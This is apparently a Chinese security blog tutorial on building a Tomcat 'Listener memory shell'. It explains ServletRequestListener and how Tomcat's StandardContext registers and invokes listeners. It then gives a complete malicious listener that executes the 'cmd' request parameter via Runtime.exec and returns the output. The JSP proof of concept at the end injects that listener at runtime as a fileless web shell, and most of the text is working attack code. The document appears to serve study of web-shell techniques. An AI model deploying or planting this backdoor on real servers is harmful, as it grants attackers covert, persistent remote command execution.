熟悉Listener
先试一试Listener的作用,这里使用了ServletRequestListener,因为这个Listener只要在网页发起了请求,就会调用这个监听器的两个回调方法。属实好用
web.xml
<listener>
<listener-class>com.yq1ng.Listener.TestListener</listener-class>
</listener>
package com.yq1ng.Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
/**
* @author ying
* @Description
* @create 2021-12-07 4:49 PM
*/
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被销毁。。。");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被创建。。。");
}
}
启动服务,访问网站,看下log
注意到两个函数的参数类型是ServletRequestEvent servletRequestEvent
,跟进看看
可以看到javax\servlet\ServletRequestEvent.class#getServletRequest()
返回了 request,会不会是在Filter内存马中提到的获取context的那个request呢?输出看看
直接写一个恶意的Listener试试了
package com.yq1ng.Listener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* @author ying
* @Description
* @create 2021-12-07 4:49 PM
*/
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
String cmd;
try {
cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
requestField .setAccessible(true);
Request request = (Request) requestField .get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}
System.out.println("TestListener 已被销毁。。。");
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("TestListener 已被创建。。。");
}
}
现在就应该是怎么动态注册一个恶意的Listener了,和Filter一样,先看看正常的注册流程
Listener注册
因为debug时总是出现下图这个东西(maven下载了源码也不行包括重启、清缓存、重新构建等等),这里就没进行动态调试,而是直接看代码和注释来理解
class打上断点,debug看堆栈发现org/apache/catalina/core/StandardContext.java#listenerStart()
看findApplicationListeners()
实现,了解listeners[]
是怎么来的
从注释可以很轻松的看出来listeners[]
是从web.xml中按顺序读取来的。
接着上面的看,实例化完往下走就是对其进行排序
测试使用的Listener继承了ServletRequestListener,所以被添加到eventListeners
中,继续往下
这里从applicationEventListenersList
中取出已经实例化的Listener对象,然后后面将其清空再将Liteners全部添加进去,此时applicationEventListenersList
内是已经实例化后的所有Listener对象
Listener调用
如法炮制,在sout处打上断点getApplicationEventListeners()
这个函数有印象吧,获取已经实例化后的所有Listener对象。然后循环遍历,依次调用listener.requestDestroyed()
编写poc
思路应该清晰了,Listener的注册与调用都围绕着applicationEventListenersList
这个数组,所以我们只需要将恶意Listener添加到applicationEventListenersList
中即可
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Arrays" %>
<%--
Created by IntelliJ IDEA.
User: ying
Date: 2021/12/8
Time: 15:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
class EvilListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
String cmd;
try {
cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
ArrayList<Object> eventListeners = new ArrayList<>(listeners);
eventListeners.add(new EvilListener());
standardContext.setApplicationEventListeners(eventListeners.toArray());
out.print("Inject Success !");
%>
</body>
</html>